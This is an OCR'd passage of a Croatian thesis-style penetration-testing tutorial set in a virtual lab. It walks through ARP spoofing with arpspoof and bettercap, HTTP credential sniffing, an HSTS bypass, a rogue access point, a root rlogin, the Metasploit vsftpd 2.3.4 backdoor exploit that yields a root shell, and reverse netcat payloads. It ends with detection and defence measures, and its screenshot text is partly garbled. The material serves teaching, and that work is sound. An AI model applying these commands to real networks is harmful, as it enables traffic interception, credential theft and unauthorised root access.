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Nmap scan report for desktop-14nl2pd (192.168.1.11)
Host is up (0.014s latency).
Not shown: 99 filtered ports

PORT STATE SERVICE VERSION
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
MAC Address: (Rivet Networks)

Warning: 0SScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose

Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (87%), FreeBSD 6.X|10.X (86%)

0S CPE: cpe:/o:microsoft:windows xp::sp2 cpe:/o:freebsd:freebsd:6.2 cpe:/o:freebsd: freebsd:10.3
Aggressive 0S guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP2 (87%),
FreeBSD 6.2-RELEASE (86%), FreeBSD 10.3-STABLE (85%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 1 hop

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Slika 21. Nmap — rezultati skeniranja, lzvor: Izrada autora

Na slici 21 mozemo vidjeti jedan od uredaja koji je spojen na mrezu. Vidimo da uredaj
koristi Microsoft Windows XP Service pack 2. Takoder vidimo da je port 5357 otvoren,
koristi servis http te verziju servisa koja nam Koristi kako bi pronasli ranjivosti i exploit

za pristup meti.

5.2.3.2. MITM (eng. Man in the Middle) napad

U poglavlju 4.2. opisan je MITM napad, koji je moguc jedino u slu€aju kad se
nalazimo izmedu konekcije dva uredaja koji medusobno komuniciraju. Sve informacije
izmedu dva raCunala prolaze preko raCunala hakera omogucavaju¢i mu Ccitanje,

modificiranje i brisanje informacija.

MITM napad moguce je posti¢i raznim metodama te ¢emo prikazati ARP Spoofing
napad kako bi preusmijerili sve pakete kroz nase raCunalo. ARP (eng. Address
resolution protocol) je protokol koji prevada IP adresu u MAC adresu (povezuje ih).

Komunikacija unutar mreze odvija se koriste¢i MAC adresu.

Ako klijent A Zeli komunicirati sa klijentom B unutar mreze, on koristi ARP protokol —
Salje poruku, tj. Salje ARP zahtjev sa IP adresom svim klijentima na mrezi. Klijent A
zahtjeva odgovor klijenta koji ima trazenu IP adresu na koju odgovara jedino klijent B
koji sadrzi IP adresu koju je klijent A poslao. Klijent B Salje ARP odgovor sa njegovom

MAC adresom i uspostavlja se komunikacija izmedu klijenata A i B.

Svako racunalo sadrzi ARP tablicu koja povezuje IP adresu sa MAC adresom, ako
pokrenemo naredbu arp -a u naredbenom retku (eng. CMD) ili terminalu dobivamo

rezultat kao na slici 22.
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Slika 22. ARP tablica — IP, MAC adrese, lzvor: Izrada autora

Kada raCunalo A Zeli poslati zahtjev na Internet tada ga Salje na MAC adresu rutera

(na slici 22 prva) koja je asocirana s IP adresom rutera.

ARP protokol moZemo exploitat tako da poSaljemo dva ARP odgovora — jedan prema
ruteru i jedan prema meti. Protokol nije siguran buduéi da raCunala mogu primiti i
prihva¢aju ARP odgovore bez verifikacije iako nisu poslali zahtjev za njima. Ruteru
posSaljemo IP adresu mete kako bi ruter aZzurirao svoju ARP tablicu i tako asocirao nasu
MAC adresu sa IP adresom mete. Takoder Saljemo IP adresu rutera meti kako bi meta
azurirala svoju ARP tablicu i asocirala naSu MAC adresu. Tako meta misli da je naSe

racunalo ruter, dok ruter misli da je nase racunalo, racunalo mete.

Za pocetak kako bi napravili MITM napad mozemo koristiti arpspoof koji nam
omogucéava preusmijeravanje podataka zajedno u kombinaciji sa packet sniffer alatom
(npr. wireshark) kako bi analizirali podatke. Otvorimo dvije konzole kako bi napravili
dva ARP odgovora kao $to je ranije opisano. U jednoj konzoli upiSemo naredbu
arpspoof -i <interface: ethO> -t <IP_mete:10.0.2.15> <IP_rutera:10.0.2.1> i na ovaj
nacin zavaramo metu da je naSe racunalo ruter. S druge strane napravimo suprotno
arpspoof -i <interface: ethO> -t <IP_rutera: 10.0.2.1> <IP_mete: 10.0.2.15> i na ovaj

nacin ruter zavaramo da je nase racunalo, racunalo mete.

Slika 23. ARP tablica — nakon arspoofa, Izvor: Izrada autora
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Na slici 23 mozemo vidjeti da je na Windows masini (10.0.2.15) da se MAC adresa
rutera zamijenila (na MAC adresu Kali masine - napadaca) nakon $§to smo izvrsSili
arpspoof. Tako Windows masina misli da je Kali masina ruter i u slu¢aju da Zeli poslati
zahtjev Salje ga prema MAC adresi Kali maSine. Kako bi Kali masSina mogla slati
zahtjeve prema ruteru potrebno je omoguditi preusmjeravanje podataka koriStenjem
naredbe echo 1 > /proc/sys/net/ipv4/ip_forward. Windows masina sada Salje zahtjeve
prema Kali maSini koja ih prosljeduje prema ruteru i odgovori rutera se prenose meti

preko Kali maSine.

Do sada smo koristili arpspoof kako bi objasnili kako MITM napad radi u nastavku
koristiti cemo bettercap koji obavlja istu stvar kao i arpspoof, no pored toga moze
snimiti podatke, zaobi¢i HTTPS, preusmijeriti DNS zahtjeve (DNS spoof), ubaciti kod u
ucitanu stranicu itd. Kako bi pokrenuli bettercap koristimo naredbu bettercap -iface
<interface: eth0>. Bettercap se sastoji od modula koji su pokrenuti, kako bi dobili listu
modula mozemo koristiti naredbu help. Takoder bettercap moze pronaci klijente
spojene na mrezu koristec¢i naredbu net.probe on (Salje UDP pakete Klijentima). Ako
je neki klijent odgovorio, automatski se pokre¢e net.recon modul. Sada mozemo

pokrenuti naredbu net.show kako bi vidjeli spojene klijente.

> 10.0.2.6 T LI

Vendor | sent | Recwd | Seen |

08:00:27:b4:2c:97 | ethd PCS Computer Systems GmbH 83:21:39
52:54:00:12:35:00 | gateway Realtek (UpTech? also reported) 83:21:39

08:00:27:3c:ee:1lc PCS Computer Systems GmbH 04:07:10
@8:00:27:e6:e5:59 | MSEDGEWIN1@.local | PCS Computer Systems GmbH 04:03:11

Slika 24. Bettercap — spojeni Klijenti, Izvor: Izrada autora

Na slici 24 mozemo vidjeti IP adresu mete (10.0.2.15) koju smo takoder mogli dobiti
pomocéu netdiscovera ili zenmapa (nmap). Kako bi pokrenuli MITM napad koristimo
modul arp.spoof. Podesimo opciju fullduplex naredbom set arp.spoof.fullduplex true
kako bi azurirali MAC adresu na ruteru i meti u ARP tablici kao Sto je prikazano ranije
koristeCi arpspoof. Podesimo opciju targets kako bi specificirali metu naredbom set
arp.spoof.targets 10.0.2.15. Kada su opcije podeSene mozemo pokrenuti ARP spoof

koristeCi naredbu arp.spoof on.

Kada smo napravili ARP spoof, potrebno je snimiti i analizirati podatke. Koristiti ¢emo

modul koji sluzi za snimanje i analiziranje podataka, pa tako koristimo naredbu net.sniff
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on. Sada mozZemo vidjeti podatke koji se krecu izmedu mete i rutera, ako se radi o http
protokolu mozemo Citati podatke kao na slici 25. Podaci su u tom slu€aju poslani kao

obican tekst.

BN » [07:54:41] [net.sniff.http.request] MSEDGEWIN1®.local testhtml5.vulnweb.com/lo

POST /login HTTP/1.1
). vulnweb.com
xhtml+xml, application/xml;q=0.9,*/*;q=0.8
w-form-urlencoded

Slika 25. Bettercap — podaci prijave, lzvor: Izrada autora

Na slici 25 mozemo vidjeti podatke POST zahtjeva i mozemo vidjeti korisni¢ko ime i
lozinku. HTTPS za razliku od HTTP protokola sadrzi sigurnosni sloj i koristi TLS (eng.
Transport Layer Security) ili SSL (eng. Secure Socket Layer) za enkripciju podataka.
Kako bi zaobisli sigurnosni sloj potrebno je provjeriti zahtjev korisnika. U slu¢aju da
klijent zahtjeva HTTPS stranicu, posluzimo mu HTTP verziju te stranice (ovo je

moguce koristeci SSL strip).

Bettercap koristi capplet (datoteku ekstenzije hstshijack.cap) koja to radi za nas. Prije
pokretanja capplet datoteke unutar bettercap-a potrebno je izvrSiti naredbu set
net.sniff.local true - tako prikupljamo sve podatke (ukljuCujuci podatke koje bettercap
pretpostavlja da su poslane s naseg racunala). Nakon toga mozemo pokrenuti naredbu

hstshijack/hstshijack za pokretanje capplet datoteke.

Datoteku hstshijack.cap moguce je modificirati tako da zaobilazi i HSTS (eng. HTTP
Strict Transport Security) ,politicki“ mehanizam koji sprie¢ava MITM napade kao $to
su posluzivanje HTTP verzije stranice ili otmica kolaci¢a. Web pretrazivaci dolaze sa
listom web stranica koje striktno ucitavaju koriste¢i HTTPS — provjera se vrsi lokalno
na raCunalu klijenta. Svaki zahtjev koji se Salje ili prihva¢a nad tim stranicama mora
biti u HTTPS-u. [13]

Kako bi zaobisli ovakvu zastitu mozemo zavarati pretraziva€ da ucitava drugu stranicu.

U nastavku prikazati cemo kako mozemo kreirati laznu pristupnu to¢ku (kao ruter) kako
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bi se klijenti mogli spojiti (imati pristup Internetu) i kada se spoje na kreiranu pristupnu

toCku automatski smo napravili MITM (naSe se raCunalo pona$a kao ruter).

Laznu pristupnu toCku (eng. Honeypot) mozemo napraviti s racunalom i WiFi
adapterom koji ¢e slati signale bliznjim uredajima kao $to to ruter radi. Potrebno je imati
konekciju sa Internetom (zi€¢ano, WiFi, itd.), takoder je potrebno imati WiFi adapter koji
Salje signale i podrZzava mod pristupne toCke (eng. Access Point). Kako bi to postigli
koristiti ¢emo mana-toolkit koji automatski kreira laznu pristupnu toCku, snima

podatke, zaobilazi https itd..

U VirtualBox okruzenju ethO mrezno sucelje koristit cemo za konekciju sa Internetom,
dok ¢emo wlanO Koristiti za laziranje pristupne to¢ke. Wlan0 (WiFi adapter) nalazi se u
Managed modu i nije povezan na Internet. Sada mozemo zapoceti sa kreiranjem lazne
pristupne toCke. Za poCetak potrebno je modificirati postavke mana-toolkita, postavke
se nalaze u na putanji /etc/mana-toolkit/hostapd-mana.conf, potrebno je modificirati

interface kojeg ¢emo Koristiti kao laznu pristupnu to¢ku.
interface=wlan®
bssid=00:11:22:33:44:00
driver=nl180211

ssid=Internet #naziv mreze
channel=6

Slika 26. Modificirana hostapd-mana.confg datoteka, Izvor: Izrada autora

Sljedecéu datoteku koju modificiramo je datoteka koja pokrece mana-toolkit i nalazi se

u na putaniji /usr/share/mana-toolkit/run-mana/start-nat-simple.sh.

#!/bin/bash

upstream=eth@ #mrezno sucelje koje je spojeno na Internet
phy=wlan® #mrezno sucelje koristeno kao lazna pristupna tocka
conf=/etc/mana-toolkit/hostapd-mana.conf
hostapd=/usr/lib/mana-toolkit/hostapd

Slika 27. Modificirana start-nat-simple.sh datoteka, Izvor: 1zrada autora

Kako bi pokrenuli mana-toolkit koristimo naredbu bash /usr/share/mana-toolkit/run-
mana/start-nat-simple.sh. Ako se neki uredaj spoji na kreiranu pristupnu tocCku
automatski je spojen preko naseg racunala (napravili smo MITM napad). Sada je
moguce pokrenuti Wireshark ili neki drugi alat za snimanje/analiziranje prometa, npr.

bettercap.
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5.2.3.3. Detekcija i zastita od ARP spoof, MITM napada

Prikazati cemo kako mozZemo detektirati ARP spoof napade. Kako bi detektirali
ARP spoof koristi cemo alat XArp koji provjerava vrijednosti MAC adresa za IP adresu
unutar mreze. Svaka IP adresa ima jedinstvenu MAC adresu. U slucaju da se MAC

adresa promijeni, javiti Ce promjenu.

B XArp - unregistered version — m} x
File XArp Professional Help

Status: ARP attacks detected! Security level set to: basic oK |
Alert 1of 1
o View detected attacks aggressive The basic security level operates a oo
» Read the 'Handling ARP sttacks' help e RiET R Sl sfisfoz o
= ) that can detect all standard attacks. | ChangeFilter: MAC address for IP 10.0,2.1
» View XArp logfile high Thls_ is the suggested level for default| thanged from 52-54-00-12-35-00 to
environments. 08-00-27-b4-2c-57
basic
Get XArp Professional now!
Reaqister XArp Professional e Interface : OxS
[ethernet]
source mac: 08-00-27-b4-2c-57
| | | | | | | dest mac : 03-00-27-e€-e5-59
| P ‘ MAC | Host | Vendor | Interface | Online | Cache | First seen ‘g::] @ 0xB08
% 10.0.2.1 08-00-27-b4-2c-97 10.02.1 Cadmus Com... 05 - Intel(R) P...  unkno.. yes 8/15/2020 03:4Y direction : i
¥ 10022 52-54-00-12-35-00 10,022 Realtek (uptec... 0x5 - Intel(R) P... unkne.. ne 8/15/2020 03:4¢ tvpe
= 100.23 08-00-27-d3-a7-f3 10.0.2.3 Cadmus Com... 053 - Intel(R) P... unkno.. yes 8/15/2020 03:4 :D"‘EC? = = 1I3 'J - .
- —— ofdest ip  : 10.0.2.15
}5 10.0.26 08-00-27-b4-2c-97 10.0.2.6 Cadmus Com... 05 - Intel(R) P...  unkno.. yes 8/15/2020 03:5¢ __ . _ nac o i b4-2c-57
M w0215 08-00-27-e6-e5-59 MSEDGEWINT0  Cadmus Com... (w5 - Intel(R) P...  unkno.. ne 8/15/2020 03:4Y gest mac : 0B-00-27-eé-e5-53

Slika 28. XArp - detekcija, Izvor: Izrada autora

Na slici 28 vidimo da je napada¢ onaj kojemu je IP adresa (10.0.2.6.). Takoder
sumnjive aktivnosti na mrezi mozemo pronaci koriste¢i Wireshark, ako netko koristi
netdiscover kako bi otkrio uredaje spojene na mrezu u Wiresharku vidjeti éemo da se

poslao veliki broj ARP paketa sa neke IP adrese...

Ako pogledamo ARP tablicu mozemo primijetiti da su neke vrijednosti dynamic dok su
druge static. Kako bi blokirali promjenu vrijednosti te tablice moguce je konfigurirati
vrijednosti u stati¢ni tip ruéno (mapirati IP adresu sa njihovom MAC adresom). U

slu€aju da se novi uredaj spoji na mrezu potrebno je ruéno podesiti taj ureda;.

U nastavku ¢emo prikazati kako se mozemo zastititi prethodno spomenute napade.
MozZemo koristiti HTTPS everywhere dodatak za pretraZivaCe, iako mozda netko
prikuplja podatke ti podaci su kriptirani i nisu korisni napadacu. Kada prilikom MITM

napada napadac pokusa vratiti http verziju stranice dodatak ju vraca u https.

Kako bi povecali zastitu takoder mozemo koristiti VPN — ako je VPN koriSten tada se
zahtjevi Salju kriptirano na server drZzave koje smo odabrali i prosljeduju prema

zahtijevanoj stranici.
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5.3. Serverski napadi

Bilo koji uredaj koji vidimo je zapravo racunalo: telefon, televizor, laptop, web
server, mreza, ruter... Svi oni imaju operacijski sustav i programe koji su instalirani na
tom operacijskom sustavu i obi¢no su koristeni i konfigurirani od strane korisnika.
Koncept dobivanja pristupa raCunalima je uvijek isti. Govorit éemo o napadima na

racunala podijeljeno na dvije strane, serversku i klijentsku.

Kada govorimo o napadima na server nije nam potrebna interakcija korisnika jer su
vec¢ konfigurirani i rade samostalno. Kako bi mogli provesti napad potrebna nam je IP
adresa kako bi saznali operacijski sustav koji koristi i aplikacije koje su instalirane na
tom operacijskom sustavu. Kasnije ¢éemo prikazati sto mozemo kada imamo pristup

racunalu kao $to su povecanje ovlasti i napadanje ostalih meta.

5.3.1. Opéenito o dobivanju pristupa nad serverima

Za pocetak potrebno je instalirati Metasploitable 2.0 masinu u VirtualBox-u koja
se ponasa kao server. Metasploitable koristi veliki broj servisa i web aplikacija koje su

obiéno koriStene na serverima.

= Starting deferred execution scheduler atd
= Starting periodic command scheduler crond
= Starting Tomcat seruvlet engine tomcat5.5
= Starting web server apacheZ

= Runming local boot scripts (retcsrc.locall
nohup: appending output to “nohup.out’

nohup: appending output to “nohup.out’

arning: Mever expose this UM to an untrusted network!
ontact: msfdevlatlmetasploit.con

Login with mnsfadmnin/nsfadmin to get started

etasploitable login:

P ER T

Slika 29. Metasploitable, l1zvor: Izrada autora

Na slici 29 vidimo pocetni zaslon Metasploitable-a koji cemo kasnije koristit, korisniCko

ime i lozinka su msfadmin.

Ranije je spomenuto kada govorima o napadima na serverskoj strani da su to napadi
koji ne zahtijevaju korisnikovu akciju. Ako ove napade pokuSamo Koristiti za napad na

39



odredenog korisnika koji nije na istoj mrezi ne¢emo imati uspjeha, obi¢no ¢emo dobiti

IP adresu rutera i prikupiti informacije o ruteru koje nam nece biti od koristi. Prava IP

adresa raCunala je u tom slucaju skrivena iza rutera. S druge strane ako nam je meta

server, server ima IP adresu preko koje mu mozemo pristupiti direktno preko Interneta.

Za pocetak provjerimo ako su Kali Linux i Metasploitable na istoj mrezZi, mozemo to

napraviti tako da koristimo naredbu ifconfig gdje dobivamo IP adresu (inet addr:

10.0.2.4 — slika 30) i sada na Kali Linuxu mozemo isprobati naredbu ping s tom

adresom. Ako nam Kali Linux vraca odgovore od Metasploitable-a (ili bilo kojeg

racunala) slicne kao na slici 31, ispravno smo podesili virtualne masine i mozemo

isprobati sigurnost te masine. Isprobajte upisati tu IP adresu u web preglednik i trebali

bi dobiti odgovor.

To access official Ubuntu documentation,

http:--help.ubuntu.com/

o mail.

sfadmin@metasploitable:™5 ifconfig
etho Link encap:Ethernet HWaddr 03:00:27:66:33:3e

inet addr:10.0.2.4 Bcast:10.0.2.
inetb addr:
UP BROADCAST

EX byte=s:3644 (3.5 KB)

255 Mask:

please visit:

£55.255.255.0

feB0::a00:27ff :febb:333esb4 Scope:Link

RUNHING MULTICAST

MTU:1500 HMetric:1
RX packets:27 errors:0 dropped:0 overruns:0 frame:0
T¥ packet=s:54 errors:0 dropped:0 overruns:0 carrier:0
collizions:0 txqueuelen:1000

T¥ bytes:5808 (5.6 KB)

Base address:0xd020 Memory:f1200000-f1220000

Slika 30. Metasploitable IP adresa (10.0.2.4), Izvor: Izrada autora

File Actions

Edit View Help

rootgkali:~# ping 10.0.2.4

PING 10.0.2.4 (13 0.2. 4) 56(84) bytes of data.

- time=0.
time=0.
time=0.
time=0.
time=0.
482

64 bytes
64 bytes
64 bytes
bytes
bytes
bytes
bytes

-— 16.0.

from
from
from
from
from
from
from

icmp_seq=1
: icmp_seq=2
: icmp_seq=3
: icmp_seq=4
: icmp_seq=5
: icmp_seq=6
: iemp_seq=7

2.4 ping statistics —
7 packets transmitted, 7 received, 8% packet loss,
rtt min/avg/max/mdev = ©.376/0.533/0.881/0.149 ms
rootakali:~# []

ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64
ttl=64

time=0

time=0.

881
376
525
488
528

452

time 6215ms

Slika 31. Ping na IP adresu Metasploitable-a, Izvor: Izrada autora
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5.3.2. Prikupljanje informacija servera i exploit

Prvi korak napadanja servera je prikupljanje informacija koje je od velike
vaznosti jer ¢e nam pruziti informacije kao $to su operacijski sustav mete, instalirane
programe, pokrenute servise, portove servisa. Preko instaliranih servisa mozemo
pokusati pristupiti sustavu — mozemo isprobati inicijalne lozinke, servisi su dizajnirani
da pruzaju udaljeni pristup i ako nisu dobro podeSeni moZzemo to iskoristiti i dobiti
pristup serveru. Moguce je postojanje ,straznjih vrata“ (eng. backdoor) i ranjivosti kao
Sto su ,remote buffer overflow®, ,code execution vulnerabilities“ koje nham omoguéuju
pristup tim serverima. U nastavku ¢emo Koristiti Zenmap s IP adresom mete kako bi
dobili listu servisa, otvorenih portova. Za svaki mozemo dobiti viSe informacija putem

Google trazilice kako bi znali da li postoje neke ranjivosti.

U Zenmap unosimo IP adresu Metasploitable-a (mete) i pokrenemo skeniranje koje ¢e

nam vratiti listu svih instaliranih aplikacija, otvorenih portova.

Zenmap

Scan Tools Profile Help
Target: 10.0.2.4 v Profile: Intense scan

Command: nmap-T4-A-v10.0.2.4

Hosts  Services Nmap Output  Ports /Hosts Topology Host Details Scans

. y Y LY - Sile
os Host nmap-T4-A-v10.0.2.4 Details

4 10.0.2.4 53 script scanning I
e Initiating NSE at ©6:42
[H#A [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 06:42, 8.60s elapsed
Initiating NSE at @6
Completed NSE at 06:42, 14.15s elapsed
Initiating NSE at @6
Completed NSE at 06: 0.01s elapsed
scan report fo 0.2.4

Host is up (0.00051s latency).
977 closed ports
PORT STATE SERVICE VERSION|
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)

server status:

Connected to PG PREE]

Logged in as ftp

\
\
\
\
| TYPE: ASCII
| sion bandwidth limit
| n timeout in seconds is 3600
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
| End of status
22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:el:c0:57:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
open telnet
open smtp
|_smtp-commands: URECHIGREIIEPICIGIIER), PIPELINING, SIZE 10240000, VRFY, ETRN,
Filter Hosts STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

Slika 32. Zenmap — rezultati skeniranja, lzvor: Izrada autora
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Na slici 32 vidimo otvorene portove, pa za svaki port pogledamo viSe informacija na
Google-u. Ako pogledamo prvi port (21/tcp, servis: ftp — eng. file transfer protocol)
mozemo vidjeti da nije dobro postavljen buduéi da ftp obi¢no ima korisni¢ko ime i
lozinku kako bi mogli prenositi datoteke. Pa tako ako preuzmemo FTP klijenta, npr.
FileZilla mozemo se spojiti koristeCi unesenu IP adresu na port 21 — bez korisni¢kog
imena ilozinke. Takoder mogli pretraziti ranjivosti verzije u ovom slucaju ,vsftpd 2.3.4*

da li ima kakvih poznatih exploit-a.

Pogledajmo sada kako bi to izgledalo za neki drugi port:

Scan Tools Profile Help
Target: 10.0.2.4 v Profile: Intense scan

Command: nmap-T4-A-v10.0.2.4

Hosts ~ Services Nmap Output Ports /Hosts Topology Host Details Scans

0s Host nmap -T4 -A -v10.0.2.4 Details
4 10.02.4 | http-methods:
- | Supported Methods: GET HEAD POST OPTIONS
| _http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
| http-title: Metasploitable2 - Linux
rpcbind 2 (RPC #1l00000)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
netkit-rsh rexecd
OpenBSD or Solaris rlogind|

GNU Classpath grmiregistry]
bindshell Metasploitable root shell
nfs 2-4 (RPC #100003)
ftp
mysql MySQL 5.0.51a-3ubuntus

| mysgl-info:

Slika 33. Zenmap — servis: netkit-rsh rexecd, lzvor: Izrada autora

Upotrebljavanjem trazilice Google mozemo vidjeti da se radi o udaljenom izvrSnom
programu i ako se mozemo ulogirati moZzemo izvrSavati naredbe na ciljanom racunalu
(serveru), koristi rsh rlogin (program koji dolazi sa Linuxom koji omogucéava udaljeno
izvodenje naredbi na racunalu). Radi na Ubuntu distribuciji i zahtjeva rsh-client kako
bi se mogli spojiti. Instaliramo rsh-client pomo¢u naredbe: apt-get install rsh-client i

kako bi vidjeli $to moramo upisati upiSemo rlogin --help i dobivamo sljedece:

usage: rlogin [-8ELKd] [-e char] [-i user] [-1 user] [-p port] host

root@kali:~/Downloads# rlogin -1 root 10.0.2.4]

Slika 34. Kali Linux — rlogin pomoc¢ i naredba, Izvor: I1zrada autora

Koristimo korisnicko ime root kao korisnik s najviSim pravima, unosimo IP adresu i

spojeni smo na Metasploitable masSinu — provjerimo to s naredbom uname -a.
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Neki programi i servisi dolaze s ugradenim ,straznjim vratima“ (eng. backdoor). Koristit
¢emo exploit pomocu Metasploit frameworka koji sluzi za penetracijsko testiranje
mete i sadrzi veliki broj exploita (modula) koji koriste odabrani payload (detaljnije
opisan u poglavlju 4.3.). Pogledajmo sliku 35 i pretrazimo za servis vsftpd 2.3.4 exploit
na Google trazilici, prvi rezultat je Rapid7 — tvrtka koja je napravila Metasploit i opisuje
kako postoji ,backdoor command execution“ i u sekciji ,Module Options” stoje nam

naredbe.

ShellMNe.1
File Actions Edit View Help
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit( ) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor)
Name Current Setting Required Description

RHOSTS The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT yes The target port (TCP)

Exploit target:

Automatic

msf5 exploit( ) > set RHOSTS 10.0.2.4&
RHOSTS = 10.0.2.4
msf5 exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor)
Name Current Setting Required Description

RHOSTS 10.0.2.4 The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 21 yes The target port (TCP)

Exploit target:

Automatic

msf5 exploit( ) > expleit

10.0.2.4:21 - Banner: 220 (vsFTPd 2.3.4)
10.0.2 - USER: 331 Please specify the password.
[+] 10.0.2.4:21 - Backdoor service has been spawned, handling ...
[+] 1e. L4121 - UID: uid=8(root) gid=@(root)
Found shell.
Command shell session 1 opened (10.0.2.15:42021 — 10.0.2.4:6200) at 2020-83-25 16:25:13 -0400

id

uid=@(root) gid=0(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Slika 35. Metasploit — koritenje, Izvor: Izrada autora

Naredbom show options dobili smo RHOST, RPORT opcije koje mozemo promijeniti
koristeCi naredbu set [option], Zenmap nam pokazuje da je port (RPORT — eng.
Remote Port) 21, ali RHOST (eng. Remote host) u ovom slu€aju nije postavljen pa
tako ga postavimo na IP adresu Metasploitable-a (ranije prikazano 10.0.2.4), nakon
toga pokrecemo exploit s naredbom exploit, ako je uspjeSno izvrSen exploit sada

mozemo koristiti Linux naredbe.
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Pogledajmo sljedeéi port: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X

(workgroup: WORKGROUP). Prikazati ¢emo naprednije koriStenje Metasploitable-a
kada meta nema backdoor nego ima normalni program koji ima buffer overflow ali ima
ranjivost koji nam omogucava pokretanje malo koda koji je nama od koristi — payload.
Za razliku od prethodnog primjera potrebno je kreirati payload i pokrenuti ga na

racunalu koji je meta (server) koristenjem ranjivosti koju smo pronasli.

Ako upiSemo naredbu show payloads prikaze nam se lista kao na slici 36:

msf5 expleit( ) > show payloads

Compatible Payloads

Disclosure Date Check Description
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

cmd/unix/bind_awk
cmd/unix/bind_busybox_telnetd
cmd/unix/bind_inetd
cmd/unix/bind_jjs
cmd/unix/bind_lua
cmd/unix/bind_netcat
cmd/unix/bind_netcat_gaping
cmd/unix/bind_netcat_gaping_ipvé
cmd/unix/bind_perl
cmd/unix/bind_perl_ipvé

® cmd/unix/bind_r
cmd/unix/bind_ruby
cmd/unix/bind_ruby_ipvé
cmd/unix/bind_socat_udp
cmd/unix/bind_zsh
cmd/unix/generic

Unix Command Shell, Bind TCP (via AWK)

Unix Command Shell, Bind TCP (via BusyBox telnetd)
Unix Command Shell, Bind TCP (inetd)

Unix Command Shell, Bind TCP (via jjs)

Unix Command Shell, Bind TCP (via Lua)

Unix Command Shell, Bind TCP (via netcat)

Unix Command Shell, Bind TCP (via netcat -e)

Unix Command Shell, Bind TCP (via netcat -e) IPv6
Unix Command Shell, Bind TCP (via Perl)

Unix Command Shell, Bind TCP (via perl) IPvé6

Unix Command Shell, Bind TCP (via R)

Unix Command Shell, Bind TCP (via Ruby)

Unix Command Shell, Bind TCP (via Ruby) IPv6
Unix Command Shell, Bind UDP (via seocat)

Unix Command Shell, Bind TCP (via Zsh)

Unix Command, Generic Command Executien

cmd/unix/pingback_bind
cmd/unix/pingback_reverse
cmd/unix/reverse
cmd/unix/reverse_awk

@ cmd/unix/reverse_bash_telnet_ssl

cmd/unix/reverse_jjs
cmd/unix/reverse_ksh
cmd/unix/reverse_lua
cmd/unix/reverse_ncat_ssl
cmd/unix/reverse_netcat
cmd/unix/reverse_netcat_gaping
cmd/unix/reverse_openssl
cmd/unix/reverse_perl
cmd/unix/reverse_perl_ssl

@ cmd/unix/reverse_php_ssl

cmd/unix/reverse_python
cmd/unix/reverse_python_ssl
cmd/unix/reverse_r
cmd/unix/reverse_ruby
cmd/unix/reverse_ruby_ssl

cmd/unix/reverse_socat_udp

cmd/unix/reverse_ss1_double_telnet

normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal
normal

Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,
Unix Command Shell,

Pingback Bind TCP (via netcat)
Pingback Reverse TCP (via netcat)
Double Reverse TCP (telnet)
Reverse TCP (via AWK)

Reverse TCP SSL (telnet)
Reverse TCP (via jjs)

Reverse TCP (via Ksh)

Reverse TCP (via Lua)

Reverse TCP (via ncat)

Reverse TCP (via netcat)
Reverse TCP (via netcat -e)
Double Reverse TCP SSL (openssl)
Reverse TCP (via Perl)

Reverse TCP SSL (via perl)
Reverse TCP SSL (via php)
Reverse TCP (via Python)
Reverse TCP SSL (via python)
Reverse TCP (via R)

Reverse TCP (via Ruby)

Reverse TCP SSL (via Ruby)
Reverse UDP (via socat)

Double Reverse TCP SSL (telnet)

cmd/unix/reverse_zsh normal Unix Command Shell, Reverse TCP (via Zsh)

Slika 36. Metasploit — payload, Izvor: Izrada autora

Sufiks naziva payloada su programi, programski jezici ili alati. Postoje dva tipa
payloada: bind, reverse. Bind payload otvara port na racunalu koji je meta i onda se
kao napadac spajamo na taj port. S druge strane reverse payload radi suprotnu stvar
i otvaraju port na nasem raCunalu i tada se meta spaja na nase racunalo. Ovo je
korisno jer tako moZemo zaobici vatrozide (eng. firewall) koji filtiraju ulazne konekcije.
Mozemo vidjeti da se radi o vrsti payloada oblika cmd (eng. Command) koji ham
omogucuje pokretanje Linux (unix) naredbi. Odaberemo neki od navedenih i na primjer
unesemo naredbu set payload cmd/unix/reverse_netcat — Netcat je alat koji

dozvoljava konekciju izmedu racunala.
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Netcat inaCe sluzi kao alat za mreznu analizu. Naime koriStenjem odabranog payloada
kreira se sluSac koji koristeéi pipe omogucava koristenje Windows CMD-a nakon
uspostavljene konekcije. Pritom je moguce kretati se kroz raCunalo mete odnosno

Citati, mijenjati, kreirati, brisati i slati datoteke.

